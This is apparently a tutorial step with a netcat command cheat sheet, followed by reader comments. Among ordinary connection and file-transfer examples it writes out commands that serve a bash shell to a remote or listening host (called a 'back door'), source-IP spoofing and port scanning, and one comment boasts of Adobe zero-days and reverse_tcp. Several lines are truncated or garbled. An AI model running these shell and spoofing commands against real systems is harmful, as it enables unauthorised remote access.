Step 2: Basic Netcat commands

-e prog inbound program to exec (dangerous!!)
-g gateway source-routing hop point(s), up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-l listen mode, for inbound connects
-L listen harder, re-listen on socket close
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-s addr local source address
-t answer TELNET negotiation
-u UDP mode
-v verbose (use twice to be more verbose)
-w secs timeout for connects and final net reads
-z zero-I/O mode (used for scanning)
port numbers can be individual or ranges: m-n (inclusive)

Connect to a port on
a remote host

nc remote_host <port>

Connect to multiple
ports on a remote host

nc remote_host <port>...<port>
For example:
nc www.somecompanyasanexample.com 21 25 80

Listen on a port for
incoming connections
(Also know as A Back Door)

nc -v -l -p <port>

Connect to remote host
and serve a bash shell

nc remote_ip <port> -e /bin/bash
Note that Netcat does not support the -e flag by default. To
make Netcat support the -e flag, it must be re-compiled with

Listen on a port and
serve a bash shell
upon connect

nc -v -l -p <port> -e /bin/bash
Note that Netcat does not support the -e flag by default. To
make Netcat support the -e flag, it must be re-compiled with

Port scan a remote

nc -v -z remote_host <port>-<port>
Use the -i flag to set a delay interval:
nc -œi <seconds> -v -z remote_host

Pipe command output
to a netcat request

<command> | nc remote_host <port>
For example:
echo "GET / HTTP/1.0
"| nc www.somecompanyasanexample.com 80

Use source-routing to
connect to a port on a
remote host

nc -œg <gateway> remote_host <port>
Note: Up to eight hop points may be specified using the -g flag.
Use the -œG flag to specify the source-routing pointer.

Spoof source IP

Use the -œs flag to spoof the source IP address:
nc -s spoofed_ip remote_host port
This command will cause the remote host to respond back to the
spoofed IP address. The -œs flag can be used along with most of
the commands presented in this table.

Transfer a file

On the server host:
nc -v -l -p <port> < <file>
On the client host:
nc -v <server_host> <port> > <file>
It is also possible for the client host to listen on a port in order to
receive a file. To do this, run the following command on the client
nc -v -l -p <port> > file
And run the following command on the server host:
nc -œv <client_host> <port> < file

These can all be used by your netcat

But who needs netcat when you can just use one of the new adobe zero day and, of course, reverse_tcp connection, because listening connections&nbsp; are picked and stopped by any firewall and open ports are easily recognized, so instead of you going to them, they come to you instead.<br /> <br /> Put your hand up if you understood anything I just said.<br />
SSH is better than netcat, but this instructable was pretty much just a simple introduction to netcat. As to your Adobe Zero Day, I'm sorry to disappoint you, but I&nbsp;don't possess the skills to install and manage a GUI program, I guess I'm just more suited to the command line, for I would rather be able to control everything I do. I'm sorry I cannot match your sudo technological knowhow, but I'm just not root material. Surely a man who merges linux with the apple logo is far superior to me.<br />
Funny. I thought you and your ego would be a fair match. The latter seems big enough... <br><br>And hands up, Mr Pyro is correct.
I can't find download of NeTcAt
WOW nice stufff... :-) ;-)
where to download the netcat for windows
<a rel="nofollow" href="http://www.softlookup.com/display.asp?id=25576">http://www.softlookup.com/display.asp?id=25576</a> <br/><br/>the took down the old site<br/><br/>and<br/><br/><a rel="nofollow" href="http://justfuckinggoogleit.com/">http://justfuckinggoogleit.com/</a><br/>

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